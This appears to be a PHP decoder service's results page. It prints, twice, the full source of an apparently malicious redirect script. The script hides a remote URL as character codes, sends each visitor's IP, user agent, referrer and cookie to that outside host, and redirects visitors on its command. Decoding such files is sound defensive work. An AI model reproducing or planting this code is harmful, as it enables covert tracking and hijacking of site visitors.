Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php date_default_timezone_set("UTC"); error_reporting(0); header("Cache-Control: no-st..
Decoded Output download
<?php date_default_timezone_set("UTC");
error_reporting(0);
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
if (!(isset($_SERVER["HTTP_X_PURPOSE"]) and $_SERVER["HTTP_X_PURPOSE"] == "preview"))
{
$date = date("Y-m-d H:i:s");
$id = "473017";
$uid = "perg1jc15itph5irtdn1ea2cc";
$qu = $_SERVER["QUERY_STRING"];
$ch = curl_init();
$d = array(
104,
116,
116,
112,
115,
58,
47,
47,
106,
99,
105,
98,
106,
46,
99,
111,
109,
47,
112,
99,
108,
46,
112,
104,
112
);
$u = "";
foreach ($d as $v)
{
$u .= chr($v);
}
$data = array(
"date" => $date,
"lan" => $_SERVER["HTTP_ACCEPT_LANGUAGE"],
"ref" => $_SERVER["HTTP_REFERER"],
"ip" => $_SERVER["REMOTE_ADDR"],
"ipr" => $_SERVER["HTTP_X_FORWARDED_FOR"],
"sn" => $_SERVER["SERVER_NAME"],
"requestUri" => $_SERVER["REQUEST_URI"],
"query" => $qu,
"ua" => $_SERVER["HTTP_USER_AGENT"],
"co" => $_COOKIE["_event"],
"user_id" => $uid,
"id" => $id
);
curl_setopt($ch, CURLOPT_URL, $u);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
curl_close($ch);
$arr = explode(",", $result);
if (!empty($qu))
{
if (strpos($arr[1], "?"))
{
$q = "&" . $qu;
}
else
{
$q = "?" . $qu;
}
}
else
{
$q = "";
}
if ($arr[0] === "true")
{
if (strstr($arr[1], "sp.php"))
{
$q = "?" . $qu;
}
if (!empty($arr[7]))
{
setcookie($arr[7], $arr[8], time() + 60 * 60 * 24 * $arr[9], "/");
}
if ($arr[2])
{
if ($arr[4] == 1 or $arr[4] == 3)
{
setcookie("_event", $arr[6], time() + 60 * 60 * 24 * $arr[3]);
}
}
header("location: " . $arr[1] . $q, true, 301);
}
elseif ($arr[0] === "false")
{
if ($arr[5])
{
$f = $q;
}
else
{
$f = "";
}
if ($arr[2])
{
if ($arr[4] == 2 or $arr[4] == 3)
{
setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
}
}
header("location: " . $arr[1] . $f, true, 301);
}
else
{
if ($arr[2])
{
if ($arr[4] == 2 or $arr[4] == 3)
{
setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
}
}
}
} ?>
Did this file decode correctly?
Original Code
<?php date_default_timezone_set("UTC");
error_reporting(0);
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
if (!(isset($_SERVER["HTTP_X_PURPOSE"]) and $_SERVER["HTTP_X_PURPOSE"] == "preview"))
{
$date = date("Y-m-d H:i:s");
$id = "473017";
$uid = "perg1jc15itph5irtdn1ea2cc";
$qu = $_SERVER["QUERY_STRING"];
$ch = curl_init();
$d = array(
104,
116,
116,
112,
115,
58,
47,
47,
106,
99,
105,
98,
106,
46,
99,
111,
109,
47,
112,
99,
108,
46,
112,
104,
112
);
$u = "";
foreach ($d as $v)
{
$u .= chr($v);
}
$data = array(
"date" => $date,
"lan" => $_SERVER["HTTP_ACCEPT_LANGUAGE"],
"ref" => $_SERVER["HTTP_REFERER"],
"ip" => $_SERVER["REMOTE_ADDR"],
"ipr" => $_SERVER["HTTP_X_FORWARDED_FOR"],
"sn" => $_SERVER["SERVER_NAME"],
"requestUri" => $_SERVER["REQUEST_URI"],
"query" => $qu,
"ua" => $_SERVER["HTTP_USER_AGENT"],
"co" => $_COOKIE["_event"],
"user_id" => $uid,
"id" => $id
);
curl_setopt($ch, CURLOPT_URL, $u);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
curl_close($ch);
$arr = explode(",", $result);
if (!empty($qu))
{
if (strpos($arr[1], "?"))
{
$q = "&" . $qu;
}
else
{
$q = "?" . $qu;
}
}
else
{
$q = "";
}
if ($arr[0] === "true")
{
if (strstr($arr[1], "sp.php"))
{
$q = "?" . $qu;
}
if (!empty($arr[7]))
{
setcookie($arr[7], $arr[8], time() + 60 * 60 * 24 * $arr[9], "/");
}
if ($arr[2])
{
if ($arr[4] == 1 or $arr[4] == 3)
{
setcookie("_event", $arr[6], time() + 60 * 60 * 24 * $arr[3]);
}
}
header("location: " . $arr[1] . $q, true, 301);
}
elseif ($arr[0] === "false")
{
if ($arr[5])
{
$f = $q;
}
else
{
$f = "";
}
if ($arr[2])
{
if ($arr[4] == 2 or $arr[4] == 3)
{
setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
}
}
header("location: " . $arr[1] . $f, true, 301);
}
else
{
if ($arr[2])
{
if ($arr[4] == 2 or $arr[4] == 3)
{
setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
}
}
}
} ?>
Function Calls
date_default_timezone_set | 1 |
Stats
MD5 | 7b90cdf22ba29b2434dd04066ea36888 |
Eval Count | 0 |
Decode Time | 50 ms |